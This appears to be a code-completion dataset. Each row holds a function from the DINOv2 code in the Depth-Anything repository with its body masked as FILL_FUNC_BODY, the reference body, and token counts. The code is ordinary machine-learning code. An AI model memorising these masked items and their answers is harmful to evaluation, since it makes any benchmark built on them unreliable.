x = self.last_layer(x)
return x
| 23 | 324 | 93 | 417 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.nn as nn
from torch.nn.init import trunc_normal_
from torch.nn.utils import weight_norm
class... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.nn as nn
from torch.nn.init import trunc_normal_
from torch.nn.utils import weight_norm
class... |
29,794 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/drop_path.py | 15,16 | 1,36 | drop_path | 16,27 | 16,27 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | if drop_prob == 0.0 or not training:
return x
keep_prob = 1 - drop_prob
shape = (x.shape[0],) + (1,) * (x.ndim - 1) # work with diff dim tensors, not just 2D ConvNets
random_tensor = x.new_empty(shape).bernoulli_(keep_prob)
if keep_prob > 0.0:
random_tensor.div_(keep_prob)
outpu... | if drop_prob == 0.0 or not training:
return x
keep_prob = 1 - drop_prob
shape = (x.shape[0],) + (1,) * (x.ndim - 1) # work with diff dim tensors, not just 2D ConvNets
random_tensor = x.new_empty(shape).bernoulli_(keep_prob)
if keep_prob > 0.0:
random_tensor.div_(keep_prob)
outpu... | 48 | 266 | 145 | 411 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | |
29,795 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/drop_path.py | 34,35 | 27,36 | forward | DropPath | 35,36 | 35,36 | class DropPath(nn.Module):
"""Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks)."""
def __init__(self, drop_prob=None):
super(DropPath, self).__init__()
self.drop_prob = drop_prob
def forward(self, x):
FILL_FUNC_BODY | class DropPath(nn.Module):
"""Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks)."""
def __init__(self, drop_prob=None):
super(DropPath, self).__init__()
self.drop_prob = drop_prob
def forward(self, x):
FILL_FUNC_BODY | return drop_path(x, self.drop_prob, self.training)
| return drop_path(x, self.drop_prob, self.training)
| 4 | 94 | 20 | 114 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... |
29,796 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/layer_scale.py | 27,28 | 16,29 | forward | LayerScale | 28,29 | 28,29 | class LayerScale(nn.Module):
def __init__(
self,
dim: int,
init_values: Union[float, Tensor] = 1e-5,
inplace: bool = False,
) -> None:
super().__init__()
self.inplace = inplace
self.gamma = nn.Parameter(init_values * torch.ones(dim))
def forward(self,... | class LayerScale(nn.Module):
def __init__(
self,
dim: int,
init_values: Union[float, Tensor] = 1e-5,
inplace: bool = False,
) -> None:
super().__init__()
self.inplace = inplace
self.gamma = nn.Parameter(init_values * torch.ones(dim))
def forward(self,... | return x.mul_(self.gamma) if self.inplace else x * self.gamma
| return x.mul_(self.gamma) if self.inplace else x * self.gamma
| 8 | 128 | 24 | 152 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# Modified from: https://github.com/huggingface/pytorch-image-models/blob/main/timm/models/vision_transformer.py#L103-L11... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# Modified from: https://github.com/huggingface/pytorch-image-models/blob/main/timm/models/vision_transformer.py#L103-L11... |
29,797 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/mlp.py | 35,36 | 17,42 | forward | Mlp | 36,42 | 36,42 | class Mlp(nn.Module):
def __init__(
self,
in_features: int,
hidden_features: Optional[int] = None,
out_features: Optional[int] = None,
act_layer: Callable[..., nn.Module] = nn.GELU,
drop: float = 0.0,
bias: bool = True,
) -> None:
super().__init__(... | class Mlp(nn.Module):
def __init__(
self,
in_features: int,
hidden_features: Optional[int] = None,
out_features: Optional[int] = None,
act_layer: Callable[..., nn.Module] = nn.GELU,
drop: float = 0.0,
bias: bool = True,
) -> None:
super().__init__(... | x = self.fc1(x)
x = self.act(x)
x = self.drop(x)
x = self.fc2(x)
x = self.drop(x)
return x
| x = self.fc1(x)
x = self.act(x)
x = self.drop(x)
x = self.fc2(x)
x = self.drop(x)
return x
| 17 | 238 | 62 | 300 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... |
29,798 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/patch_embed.py | 17,18 | 1,90 | make_2tuple | 18,26 | 18,26 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | if isinstance(x, tuple):
assert len(x) == 2
return x
assert isinstance(x, int)
return (x, x)
| if isinstance(x, tuple):
assert len(x) == 2
return x
assert isinstance(x, int)
return (x, x)
| 15 | 968 | 52 | 1,020 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | |
29,799 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/patch_embed.py | 84,85 | 26,90 | flops | PatchEmbed | 85,90 | 85,90 | class PatchEmbed(nn.Module):
"""
2D image to patch embedding: (B,C,H,W) -> (B,N,D)
Args:
img_size: Image size.
patch_size: Patch token size.
in_chans: Number of input image channels.
embed_dim: Number of linear projection output channels.
norm_layer: Normalization la... | class PatchEmbed(nn.Module):
"""
2D image to patch embedding: (B,C,H,W) -> (B,N,D)
Args:
img_size: Image size.
patch_size: Patch token size.
in_chans: Number of input image channels.
embed_dim: Number of linear projection output channels.
norm_layer: Normalization la... | Ho, Wo = self.patches_resolution
flops = Ho * Wo * self.embed_dim * self.in_chans * (self.patch_size[0] * self.patch_size[1])
if self.norm is not None:
flops += Ho * Wo * self.embed_dim
return flops
| Ho, Wo = self.patches_resolution
flops = Ho * Wo * self.embed_dim * self.in_chans * (self.patch_size[0] * self.patch_size[1])
if self.norm is not None:
flops += Ho * Wo * self.embed_dim
return flops
| 31 | 721 | 89 | 810 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
# References:
# https://github.com/facebookresearch/dino/blob/master/vision_transformer.py
# https://github.com/rwigh... |
29,800 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/layers/swiglu_ffn.py | 29,30 | 13,36 | forward | SwiGLUFFN | 30,36 | 30,36 | class SwiGLUFFN(nn.Module):
def __init__(
self,
in_features: int,
hidden_features: Optional[int] = None,
out_features: Optional[int] = None,
act_layer: Callable[..., nn.Module] = None,
drop: float = 0.0,
bias: bool = True,
) -> None:
super().__init... | class SwiGLUFFN(nn.Module):
def __init__(
self,
in_features: int,
hidden_features: Optional[int] = None,
out_features: Optional[int] = None,
act_layer: Callable[..., nn.Module] = None,
drop: float = 0.0,
bias: bool = True,
) -> None:
super().__init... | x12 = self.w12(x)
x1, x2 = x12.chunk(2, dim=-1)
hidden = F.silu(x1) * x2
return self.w3(hidden)
| x12 = self.w12(x)
x1, x2 = x12.chunk(2, dim=-1)
hidden = F.silu(x1) * x2
return self.w3(hidden)
| 15 | 217 | 69 | 286 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Callable, Optional
from torch import Tensor, nn
import torch.nn.functional as F
class SwiGLUFFN(nn.... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Callable, Optional
from torch import Tensor, nn
import torch.nn.functional as F
class SwiGLUFFN(nn.... |
29,801 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/logging/helpers.py | 67,68 | 21,134 | log_every | MetricLogger | 68,134 | 68,134 | class MetricLogger(object):
def __init__(self, delimiter="\t", output_file=None):
self.meters = defaultdict(SmoothedValue)
self.delimiter = delimiter
self.output_file = output_file
def update(self, **kwargs):
for k, v in kwargs.items():
if isinstance(v, torch.Tensor)... | class MetricLogger(object):
def __init__(self, delimiter="\t", output_file=None):
self.meters = defaultdict(SmoothedValue)
self.delimiter = delimiter
self.output_file = output_file
def update(self, **kwargs):
for k, v in kwargs.items():
if isinstance(v, torch.Tensor)... | i = start_iteration
if not header:
header = ""
start_time = time.time()
end = time.time()
iter_time = SmoothedValue(fmt="{avg:.6f}")
data_time = SmoothedValue(fmt="{avg:.6f}")
if n_iterations is None:
n_iterations = len(iterable)
... | i = start_iteration
if not header:
header = ""
start_time = time.time()
end = time.time()
iter_time = SmoothedValue(fmt="{avg:.6f}")
data_time = SmoothedValue(fmt="{avg:.6f}")
if n_iterations is None:
n_iterations = len(iterable)
... | 161 | 553 | 763 | 1,316 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict, deque
import datetime
import json
import logging
import time
import torch
import d... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict, deque
import datetime
import json
import logging
import time
import torch
import d... |
29,802 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/logging/helpers.py | 152,153 | 134,196 | synchronize_between_processes | SmoothedValue | 157,166 | 153,166 | class SmoothedValue:
"""Track a series of values and provide access to smoothed values over a
window or the global series average.
"""
def __init__(self, window_size=20, fmt=None):
if fmt is None:
fmt = "{median:.4f} ({global_avg:.4f})"
self.deque = deque(maxlen=window_size)... | class SmoothedValue:
"""Track a series of values and provide access to smoothed values over a
window or the global series average.
"""
def __init__(self, window_size=20, fmt=None):
if fmt is None:
fmt = "{median:.4f} ({global_avg:.4f})"
self.deque = deque(maxlen=window_size)... | if not distributed.is_enabled():
return
t = torch.tensor([self.count, self.total], dtype=torch.float64, device="cuda")
torch.distributed.barrier()
torch.distributed.all_reduce(t)
t = t.tolist()
self.count = int(t[0])
self.total = t[1]
| """
Distributed synchronization of the metric
Warning: does not synchronize the deque!
"""
if not distributed.is_enabled():
return
t = torch.tensor([self.count, self.total], dtype=torch.float64, device="cuda")
torch.distributed.barrier()
torch.... | 21 | 446 | 114 | 560 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict, deque
import datetime
import json
import logging
import time
import torch
import d... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict, deque
import datetime
import json
import logging
import time
import torch
import d... |
29,803 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/loss/dino_clstoken_loss.py | 35,37 | 13,101 | sinkhorn_knopp_teacher | DINOLoss | 37,64 | 37,64 | class DINOLoss(nn.Module):
def __init__(
self,
out_dim,
student_temp=0.1,
center_momentum=0.9,
):
super().__init__()
self.student_temp = student_temp
self.center_momentum = center_momentum
self.register_buffer("center", torch.zeros(1, out_dim))
... | class DINOLoss(nn.Module):
def __init__(
self,
out_dim,
student_temp=0.1,
center_momentum=0.9,
):
super().__init__()
self.student_temp = student_temp
self.center_momentum = center_momentum
self.register_buffer("center", torch.zeros(1, out_dim))
... | teacher_output = teacher_output.float()
world_size = dist.get_world_size() if dist.is_initialized() else 1
Q = torch.exp(teacher_output / teacher_temp).t() # Q is K-by-B for consistency with notations from our paper
B = Q.shape[1] * world_size # number of samples to assign
K = ... | teacher_output = teacher_output.float()
world_size = dist.get_world_size() if dist.is_initialized() else 1
Q = torch.exp(teacher_output / teacher_temp).t() # Q is K-by-B for consistency with notations from our paper
B = Q.shape[1] * world_size # number of samples to assign
K = ... | 126 | 745 | 366 | 1,111 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.distributed as dist
import torch.nn.functional as F
from torch import nn
class DINOLoss(nn.Mo... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.distributed as dist
import torch.nn.functional as F
from torch import nn
class DINOLoss(nn.Mo... |
29,804 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/loss/ibot_patch_loss.py | 141,143 | 35,153 | apply_center_update | iBOTPatchLoss | 143,153 | 143,153 | class iBOTPatchLoss(nn.Module):
def __init__(self, patch_out_dim, student_temp=0.1, center_momentum=0.9):
super().__init__()
self.student_temp = student_temp
self.center_momentum = center_momentum
self.register_buffer("center", torch.zeros(1, 1, patch_out_dim))
self.updated =... | class iBOTPatchLoss(nn.Module):
def __init__(self, patch_out_dim, student_temp=0.1, center_momentum=0.9):
super().__init__()
self.student_temp = student_temp
self.center_momentum = center_momentum
self.register_buffer("center", torch.zeros(1, 1, patch_out_dim))
self.updated =... | if self.updated is False:
world_size = dist.get_world_size() if dist.is_initialized() else 1
if self.reduce_handle is not None:
self.reduce_handle.wait()
_t = self.async_batch_center / (self.len_teacher_patch_tokens * world_size)
self.center = se... | if self.updated is False:
world_size = dist.get_world_size() if dist.is_initialized() else 1
if self.reduce_handle is not None:
self.reduce_handle.wait()
_t = self.async_batch_center / (self.len_teacher_patch_tokens * world_size)
self.center = se... | 38 | 1,528 | 138 | 1,666 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.distributed as dist
import torch.nn.functional as F
from torch import nn
import logging
logg... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import torch
import torch.distributed as dist
import torch.nn.functional as F
from torch import nn
import logging
logg... |
29,805 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/utils/cluster.py | 75,78 | 1,97 | get_slurm_executor_parameters | 78,97 | 78,97 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from enum import Enum
import os
from pathlib import Path
from typing import Any, Dict, Optional
class ClusterType(Enum)... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from enum import Enum
import os
from pathlib import Path
from typing import Any, Dict, Optional
class ClusterType(Enum)... | # create default parameters
params = {
"mem_gb": 0, # Requests all memory on a node, see https://slurm.schedmd.com/sbatch.html
"gpus_per_node": num_gpus_per_node,
"tasks_per_node": num_gpus_per_node, # one task per GPU
"cpus_per_task": 10,
"nodes": nodes,
"slurm... | # create default parameters
params = {
"mem_gb": 0, # Requests all memory on a node, see https://slurm.schedmd.com/sbatch.html
"gpus_per_node": num_gpus_per_node,
"tasks_per_node": num_gpus_per_node, # one task per GPU
"cpus_per_task": 10,
"nodes": nodes,
"slurm... | 67 | 740 | 267 | 1,007 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from enum import Enum
import os
from pathlib import Path
from typing import Any, Dict, Optional
class ClusterType(Enum)... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from enum import Enum
import os
from pathlib import Path
from typing import Any, Dict, Optional
class ClusterType(Enum)... | |
29,806 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/utils/dtype.py | 32,33 | 1,39 | as_torch_dtype | 33,39 | 33,39 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Dict, Union
import numpy as np
import torch
TypeSpec = Union[str, np.dtype, torch.dtype]
_NUMPY_... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Dict, Union
import numpy as np
import torch
TypeSpec = Union[str, np.dtype, torch.dtype]
_NUMPY_... | if isinstance(dtype, torch.dtype):
return dtype
if isinstance(dtype, str):
dtype = np.dtype(dtype)
assert isinstance(dtype, np.dtype), f"Expected an instance of nunpy dtype, got {type(dtype)}"
return _NUMPY_TO_TORCH_DTYPE[dtype]
| if isinstance(dtype, torch.dtype):
return dtype
if isinstance(dtype, str):
dtype = np.dtype(dtype)
assert isinstance(dtype, np.dtype), f"Expected an instance of nunpy dtype, got {type(dtype)}"
return _NUMPY_TO_TORCH_DTYPE[dtype]
| 24 | 370 | 105 | 475 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Dict, Union
import numpy as np
import torch
TypeSpec = Union[str, np.dtype, torch.dtype]
_NUMPY_... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from typing import Dict, Union
import numpy as np
import torch
TypeSpec = Union[str, np.dtype, torch.dtype]
_NUMPY_... | |
29,807 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/utils/param_groups.py | 14,15 | 1,95 | get_vit_lr_decay_rate | 24,42 | 15,42 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict
import logging
logger = logging.getLogger("dinov2")
def get_vit_lr_decay_rate(nam... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict
import logging
logger = logging.getLogger("dinov2")
def get_vit_lr_decay_rate(nam... | layer_id = num_layers + 1
if name.startswith("backbone") or force_is_backbone:
if ".pos_embed" in name or ".patch_embed" in name or ".mask_token" in name or ".cls_token" in name:
layer_id = 0
elif force_is_backbone and (
"pos_embed" in name or "patch_embed" in name or "ma... | """
Calculate lr decay rate for different ViT blocks.
Args:
name (string): parameter name.
lr_decay_rate (float): base lr decay rate.
num_layers (int): number of ViT blocks.
Returns:
lr decay rate for the given parameter.
"""
layer_id = num_layers + 1
if name.... | 106 | 926 | 305 | 1,231 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict
import logging
logger = logging.getLogger("dinov2")
def get_vit_lr_decay_rate(nam... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from collections import defaultdict
import logging
logger = logging.getLogger("dinov2")
def get_vit_lr_decay_rate(nam... | |
29,808 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/dinov2/utils/utils.py | 47,48 | 1,97 | get_sha | 48,68 | 48,68 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import logging
import os
import random
import subprocess
from urllib.parse import urlparse
import numpy as np
import tor... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import logging
import os
import random
import subprocess
from urllib.parse import urlparse
import numpy as np
import tor... | cwd = os.path.dirname(os.path.abspath(__file__))
def _run(command):
return subprocess.check_output(command, cwd=cwd).decode("ascii").strip()
sha = "N/A"
diff = "clean"
branch = "N/A"
try:
sha = _run(["git", "rev-parse", "HEAD"])
subprocess.check_output(["git", "diff"], ... | cwd = os.path.dirname(os.path.abspath(__file__))
def _run(command):
return subprocess.check_output(command, cwd=cwd).decode("ascii").strip()
sha = "N/A"
diff = "clean"
branch = "N/A"
try:
sha = _run(["git", "rev-parse", "HEAD"])
subprocess.check_output(["git", "diff"], ... | 59 | 882 | 246 | 1,128 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import logging
import os
import random
import subprocess
from urllib.parse import urlparse
import numpy as np
import tor... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
import logging
import os
import random
import subprocess
from urllib.parse import urlparse
import numpy as np
import tor... | |
29,809 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/hubconf.py | 119,120 | 1,163 | dinov2_vitb14_reg | 123,134 | 120,134 | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
from enum import Enum
from typing import Union
import torch
_DINOV2_BASE_URL = "https://dl.fbaipublicfiles.com/dinov2"
d... | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
from enum import Enum
from typing import Union
import torch
_DINOV2_BASE_URL = "https://dl.fbaipublicfiles.com/dinov2"
d... | return _make_dinov2_model(
arch_name="vit_base",
pretrained=pretrained,
weights=weights,
num_register_tokens=4,
interpolate_antialias=True,
interpolate_offset=0.0,
**kwargs,
)
| """
DINOv2 ViT-B/14 model with registers (optionally) pretrained on the LVD-142M dataset.
"""
return _make_dinov2_model(
arch_name="vit_base",
pretrained=pretrained,
weights=weights,
num_register_tokens=4,
interpolate_antialias=True,
interpolate_offset=0.0... | 10 | 1,884 | 93 | 1,977 | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
from enum import Enum
from typing import Union
import torch
_DINOV2_BASE_URL = "https://dl.fbaipublicfiles.com/dinov2"
d... | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
from enum import Enum
from typing import Union
import torch
_DINOV2_BASE_URL = "https://dl.fbaipublicfiles.com/dinov2"
d... | |
29,810 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/setup.py | 43,44 | 1,88 | get_package_version | 44,51 | 44,51 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from pathlib import Path
import re
from typing import List, Tuple
from setuptools import setup, find_packages
NAME = "... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from pathlib import Path
import re
from typing import List, Tuple
from setuptools import setup, find_packages
NAME = "... | with open(HERE / "dinov2/__init__.py") as f:
result = re.search(r"^__version__ = ['\"]([^'\"]*)['\"]", f.read(), re.M)
if result:
return result.group(1)
raise RuntimeError("Can't get package version")
| with open(HERE / "dinov2/__init__.py") as f:
result = re.search(r"^__version__ = ['\"]([^'\"]*)['\"]", f.read(), re.M)
if result:
return result.group(1)
raise RuntimeError("Can't get package version")
| 22 | 761 | 92 | 853 | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from pathlib import Path
import re
from typing import List, Tuple
from setuptools import setup, find_packages
NAME = "... | # Copyright (c) Meta Platforms, Inc. and affiliates.
# All rights reserved.
#
# This source code is licensed under the license found in the
# LICENSE file in the root directory of this source tree.
from pathlib import Path
import re
from typing import List, Tuple
from setuptools import setup, find_packages
NAME = "... | |
29,811 | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything | /home/hieuvd/dung_repo/raw/stars_02/LiheYoung_Depth-Anything/Depth-Anything/torchhub/facebookresearch_dinov2_main/utils.py | 17,18 | 1,40 | _make_dinov2_model_name | 18,23 | 18,23 | # Copyright (c) Meta Platforms, Inc. and affiliates.
#
# This source code is licensed under the Apache License, Version 2.0
# found in the LICENSE file in the root directory of this source tree.
import itertools
import math
import torch
